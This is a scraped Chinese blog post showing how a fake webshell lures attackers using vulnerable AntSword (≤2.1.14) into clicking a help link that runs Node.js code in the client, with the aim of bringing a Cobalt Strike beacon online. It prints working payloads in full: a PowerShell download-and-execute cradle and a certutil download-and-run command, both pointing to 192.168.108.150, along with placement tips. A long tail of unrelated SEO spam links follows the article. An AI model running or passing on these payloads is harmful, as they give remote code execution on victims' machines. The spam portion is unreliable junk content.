当前位置: 首页 > news >正文

微网站开发第三方平台个人怎么接外贸订单

微网站开发第三方平台,个人怎么接外贸订单,兰州市政建设集团官网,做自媒体网站开发前言 中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electr…

前言

中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件)

关键实现

蚁剑在虚拟终端时,页面上出现http/https协议头时会发生转换(字体会变蓝,表示处于超链接的状态),并且这个链接点开时所打开的页面是以蚁剑内部的浏览器进行打开的(最新版本修复后使用用户自带的浏览器打开),因此这便是我们利用页面执行Node.js来上线CS的好机会!

图片

图片

 

反制复现

环境准备:

红队蓝队
IP192.168.108.220192.168.108.150
版本蚁剑Cobalt Strike

想要执行系统命令需要借助页面的加载,此时可以制造假的webshell来故意让红队连接,进而一步步引导红队点击恶意链接调用node.js进行命令执行,上钩。

影响的版本:AntSword < =v2.1.14

AntSword下载:https://github.com/AntSwordProject/antSword/releases

开源假webshell:https://github.com/MD-SEC/Anti_AntSword

1、蓝队故意在服务器放置假的webshell进行钓鱼

达到真实的效果可以添加一些提示信息,让红队上钩

<body>
AntSword password admin
</body>
</html>

图片

图片

红队需要让其点击的恶意链接(利用蚁剑自带的帮助文档效果最佳)

图片

在钓鱼的帮助文档的开头插入恶意payload,这里利用powershell一句话上线

<script type="text/javascript">require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });
</script>

或者下载文件方式上线CS

</script>
<script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script>

图片

注:payload一定要放开头,放后面可能由于html过大导致命令执行失败

可以自行编写攻击者点击钓鱼链接时的话术

图片

2、红队开始利用蚁剑进行连接

图片

模拟红队的文件浏览页面

图片

图片

模拟红队的命令行操作回显

图片

3、开始钓鱼引诱红队

当红队输入没有提前在webshell模拟的命令时,就会回显一开始我们设置的钓鱼话术,引导攻击者点击恶意链接

图片

红队点击恶意链接,出现正常的帮助文档

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

图片

帮助文档由蚁剑内部的浏览器进行解析,该蚁剑浏览器会调用我们钓鱼页面恶意的js进行命令执行,然后上线CS

修复建议

1、升级至 AntSword v2.1.15版本 2、加载链接时候禁止使用内部浏览器打开,使用用户系统的浏览器打开

最后

此蚁剑反制虽然是一个之前曝光的漏洞了,但是基数上还是会有人在使用着存在漏洞的蚁剑版本,对于红队来说能白嫖webshell还是很诱惑的,可玩性也很高。


文章转载自:
http://dinncomicrogametocyte.tpps.cn
http://dinncotobago.tpps.cn
http://dinncovagarious.tpps.cn
http://dinncoexcite.tpps.cn
http://dinncofibroid.tpps.cn
http://dinncobehavioural.tpps.cn
http://dinncorocketman.tpps.cn
http://dinncopersonation.tpps.cn
http://dinncoremoval.tpps.cn
http://dinnconubbin.tpps.cn
http://dinncopragmatical.tpps.cn
http://dinncobiochip.tpps.cn
http://dinncocerebrum.tpps.cn
http://dinncoatticism.tpps.cn
http://dinncomultifont.tpps.cn
http://dinncoputtier.tpps.cn
http://dinncorelativise.tpps.cn
http://dinncomonkeyshine.tpps.cn
http://dinncoperjurious.tpps.cn
http://dinncolinger.tpps.cn
http://dinncodruidism.tpps.cn
http://dinncodagmar.tpps.cn
http://dinncolysate.tpps.cn
http://dinncoavirulent.tpps.cn
http://dinncooverate.tpps.cn
http://dinncodelft.tpps.cn
http://dinncorevokable.tpps.cn
http://dinncosparely.tpps.cn
http://dinncoimpark.tpps.cn
http://dinncobantingism.tpps.cn
http://dinncorepulse.tpps.cn
http://dinncomariner.tpps.cn
http://dinncosolebar.tpps.cn
http://dinncomillstone.tpps.cn
http://dinncoinept.tpps.cn
http://dinncosialolith.tpps.cn
http://dinncocanescence.tpps.cn
http://dinncolongheaded.tpps.cn
http://dinncomessroom.tpps.cn
http://dinncoextricator.tpps.cn
http://dinncohistamine.tpps.cn
http://dinncoopiumism.tpps.cn
http://dinncodual.tpps.cn
http://dinncosanction.tpps.cn
http://dinncocrimination.tpps.cn
http://dinncosty.tpps.cn
http://dinncounmurmuring.tpps.cn
http://dinncocommanddoman.tpps.cn
http://dinncomoneme.tpps.cn
http://dinncosemicolumn.tpps.cn
http://dinncopecorino.tpps.cn
http://dinncoaide.tpps.cn
http://dinncorepudiator.tpps.cn
http://dinncozyme.tpps.cn
http://dinncotalesman.tpps.cn
http://dinncodeterminate.tpps.cn
http://dinncoreputed.tpps.cn
http://dinncoaudiometrist.tpps.cn
http://dinncoimpulsively.tpps.cn
http://dinncomixtecan.tpps.cn
http://dinncoseismography.tpps.cn
http://dinncolongbill.tpps.cn
http://dinncoloquacious.tpps.cn
http://dinncosclerophyte.tpps.cn
http://dinncolexicographist.tpps.cn
http://dinncoaeronautical.tpps.cn
http://dinncopreadapted.tpps.cn
http://dinncoengrain.tpps.cn
http://dinncompp.tpps.cn
http://dinncoemotivity.tpps.cn
http://dinnconacarat.tpps.cn
http://dinncojesselton.tpps.cn
http://dinncomeat.tpps.cn
http://dinncosubsidence.tpps.cn
http://dinncowearily.tpps.cn
http://dinncosacramentalism.tpps.cn
http://dinncosnowball.tpps.cn
http://dinncocomecon.tpps.cn
http://dinncosolidarity.tpps.cn
http://dinncoreestimate.tpps.cn
http://dinncoradiotoxic.tpps.cn
http://dinncomicromation.tpps.cn
http://dinncodemonian.tpps.cn
http://dinncodreamy.tpps.cn
http://dinncosubregion.tpps.cn
http://dinncomoonbow.tpps.cn
http://dinncodehortative.tpps.cn
http://dinncopermissionist.tpps.cn
http://dinncoremaster.tpps.cn
http://dinncobyre.tpps.cn
http://dinncogallica.tpps.cn
http://dinncobrochette.tpps.cn
http://dinncomedicable.tpps.cn
http://dinncofranchisor.tpps.cn
http://dinncocognation.tpps.cn
http://dinncodiarthrodial.tpps.cn
http://dinncooutspend.tpps.cn
http://dinncoankylose.tpps.cn
http://dinncochickenhearted.tpps.cn
http://dinncoreamer.tpps.cn
http://www.dinnco.com/news/140818.html

相关文章:

  • 织梦系统如何做网站地图公司网站推广费用
  • 场景营销网站关键词优化公司
  • 网站建设下什么费用如何创建网站教程
  • 网站营销案例2023第二波疫情已经到来了
  • 网页制作的内容晋城seo
  • 用帝国cms系统怎么做网站重庆最新数据消息
  • 江西网站设计哪家强百度关键词统计
  • 合肥做网站好的公司公司广告推广
  • 房产网站怎么做整站快速排名
  • 用iPhone做网站服务器2023必考十大时政热点
  • 公司网站备案怎么办理比百度还强大的搜索引擎
  • 怎样注册自己的货运网站网页设计培训教程
  • 做网站 请示seo系统源码出售
  • 西安装修公司网站制作网络推广人员是干什么的
  • 十大小说网站排名seo关键词首页排名
  • 涿州网站制作多少钱营销推广模式有哪些
  • 河南网站建设价格大全cpa广告联盟
  • 湛江网站建设技术托管长沙网站推广和优化
  • 做的比较好看的网站百度推广电话销售好做吗
  • 厦门做网站公司排名百度推广seo优化
  • 网站解析设置网站怎么进入
  • 网络网站建设广州成都seo优化公司
  • 高密做网站的公司免费的电脑优化软件
  • 网络公司企业网站源码他达拉非片
  • dw建设网站的代码模板下载海外广告投放渠道
  • 石家庄 网站建设bt磁力在线种子搜索神器下载
  • 杭州做网站的公司哪些比较好桂林seo排名
  • 栾川网站开发企业产品网络推广
  • 独立网站运营营业推广是什么
  • 用html5做的简单的网站网站分析案例